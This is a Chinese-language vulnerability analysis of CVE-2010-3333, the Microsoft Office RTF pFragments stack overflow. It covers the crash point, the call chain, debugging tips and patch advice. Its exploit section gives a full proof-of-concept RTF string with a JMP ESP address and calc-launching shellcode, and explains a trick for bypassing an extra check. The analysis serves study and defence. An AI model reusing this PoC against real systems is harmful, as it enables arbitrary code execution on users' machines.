Note——CVE-2010-3333
字数 1432 2025-08-19 12:42:02
CVE-2010-3333 Microsoft Office RTF栈溢出漏洞分析
漏洞概述
漏洞编号: CVE-2010-3333
漏洞类型: 栈溢出漏洞
影响组件: MSO.DLL在处理pFragments数组时未校验复制长度
攻击方式: 构造特殊RTF文档触发漏洞,实现任意代码执行
受影响版本
- Microsoft Office XP SP3
- Office 2003 SP3
- Office 2007 SP2
- Office 2010
- Office 2004和2008 for Mac
- Office for Mac 2011
漏洞分析环境
- 操作系统: Windows XP SP3
- Word版本: 11.0.5604.0
- MSO.DLL版本: 11.0.5606.0
- 调试工具: WinDbg, IDA Pro
漏洞详细分析
漏洞成因
MSO.DLL在处理pFragments数组时未对复制长度进行校验,导致可以构造恶意数据造成栈溢出,从而劫持程序执行流程。
关键函数调用链
- 崩溃点位于
0x30E9EB88,EDI指向只读内存区域 - 回溯调用栈发现关键函数
sub_30F4CC93 sub_30F4CC5D中的局部变量距离返回地址仅0x14字节sub_30E9EB62在执行复制操作前未检查长度参数
参数传递分析
- 参数1: 通过
sub_30D2810C返回值确定 - 参数2:
ebp-10h指向的局部变量 - 参数3: 固定值0
复制长度计算
通过WinDbg调试发现:
- 复制长度由RTF文档中的特定字段控制
- 源数据位置由ESI寄存器指向的内存区域决定
漏洞利用构造
RTF文档结构
基本RTF文档结构如下:
{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;12345678}}}}}
关键字段说明
pFragments: 漏洞触发的关键属性名sv值格式:1;1;payload_data- 第一个"1"控制是否调用
Ordinal501 - 第二个"1"可能与长度相关
- 后续为实际payload数据
- 第一个"1"控制是否调用
完整POC结构
{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;1234567801016161616162626262636363636464646465656565904dc57dAABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0}}}}}
Payload组成
- 填充数据: "12345678"等用于填充栈空间
- 长度控制: "0101"控制复制长度
- 栈填充: "6161616162626262636363636464646465656565"等用于精确控制栈布局
- 跳转地址: "904dc57d"是JMP ESP指令地址
- Shellcode:
- 使用小写字母形式写入
- 示例为弹计算器的Shellcode:
33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0
特殊处理
- 大写字母处理: RTF处理器会将payload中的大写字母替换为0
- 利用这一特性将"AABBCCDD"等数据转换为全零
- 避免触发
sub_30F4CE43的额外检查
调试技巧
- 在
VirtualAlloc处设置断点,捕获内存分配过程 - 在关键地址
0x14D158C设置内存访问断点 - 跟踪
Ordinal501函数对内存的修改
漏洞修复建议
- 对
pFragments属性的值进行严格长度校验 - 更新到微软发布的安全补丁
- 禁用不必要的RTF文档处理功能
参考文档
- Microsoft Office Word 2003 RTF Specification
- 微软安全公告MS10-087
总结
CVE-2010-3333是一个典型的栈溢出漏洞,通过精心构造的RTF文档可以绕过长度检查,实现任意代码执行。漏洞利用的关键在于精确控制复制长度和栈布局,同时利用RTF处理器的特性绕过额外的安全检查。